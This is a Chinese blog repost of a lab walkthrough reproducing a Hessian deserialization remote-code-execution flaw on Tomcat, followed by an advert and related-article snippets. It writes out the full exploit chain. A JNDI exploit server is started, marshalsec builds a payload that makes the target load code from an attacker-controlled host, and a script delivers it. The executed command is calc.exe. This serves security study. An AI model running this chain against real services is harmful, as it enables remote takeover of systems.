Hessian反序列化RCE漏洞

摘要:
Hessian反序列化RCE漏洞目标构建安装Java安装Tomcat部署Hessianhttps://raw.githubusercontent.com/21superman/Hessian-Deserialize-RCE/master/HessianTest.war访问:http:

Hessian反序列化RCE漏洞

靶机搭建 启动JNDI利用工具
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc.exe -A 192.168.31.102
  • -C为需要执行的命令
  • -A为监听地址
    Hessian反序列化RCE漏洞第2张
生成payload
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Resin http://192.168.31.102:8180/ ExecTemplateJDK7>hession

Hessian反序列化RCE漏洞第3张

发送payload到hessian服务器
python hessian.py -u http://192.168.31.36:8080/HessianTest/hessian -p hession

Hessian反序列化RCE漏洞第4张

这里的报错是因为我python环境的问题
这里我踩了一个坑,hessian.py里需要用到一个argparse包,我本机的环境一直出问题,最后更新了pip,更新了argparse包才搞定

  • 命令执行成功
    Hessian反序列化RCE漏洞第5张
指纹

HTTP发送二进制的数据包 ???
参考:https://www.freebuf.com/vuls/224280.html

免责声明:文章转载自《Hessian反序列化RCE漏洞》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇怎么使用阿里云直播服务应用到现在主流直播平台中【C#】索引器下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Mac安装protobuf

本次采用编译安装 1.下载指定版本安装包 https://github.com/protocolbuffers/protobuf/releases/tag/v3.5.0   下载地址 2.下载下来后解压压缩包,并进入目录  tar -xzvf protobuf-cpp-3.15.6.tar.gz    cd protobuf-cpp-3.15.6 3.设置...

MacOs终端忽略大小写

使用MacOs的终端时,唯一让人感觉不爽的就是Tab补全是区分大小的,所以查了资料就把这个问题搞定了。在用户目录下创建 .inputrc 文件,内容为以下三行代码,保存后重启终端再次输入文件名Tab补全就可以忽略大小写。 set completion-ignore-case on set show-all-if-ambiguous on TAB:menu-...

【API】网络编程模型、多线程

1、网络通信编程 1)网络通信模型基础知识 TCP Server: WSAStartup() socket() bind() linsten() accept() send/recv() closesocket() WSACleanup() Client: WSAStartup() socket() c...

powershell渗透-信息收集命令

本文包含从 Internet 的各个角落收集的 PowerShell 命令列表,这些命令在渗透测试或红色团队练习期间可能会有所帮助。 该列表包括各种开发后的单行在纯 PowerShell 不需要任何攻击 (= 可能标记为恶意) 第三方模块, 但也一堆方便的管理命令. 查找包含敏感信息的文件 在开发后阶段,以下 PowerShell 命令可以很方便地查找磁盘...

Android开发?用C#!!

[原文链接]  最近偶然在QQ技术群里见到有人提起用C#开发Android,当时我感觉到很诧异:Android不是只能用Java开发吗?何时可以使用C#了?那个群友便告知我:mono。    百度一下吧!搜到了mono的官方网站:http://xamarin.com/(英文网站,看这个够头大的了) 。根据我仅有的点英语知识,好得看懂了些:    Mono是...

offcputime 火焰图

基于bcc提供的命令工具 dnf iinstall -y bcc-tools 参考命令 测试一个pg 的off cpu 火焰图 运行命令 注意修改pid   /usr/share/bcc/tools/offcputime -df -p 50476 --state=2 60 > pg.stacks clone 火焰图生成工具 git clone...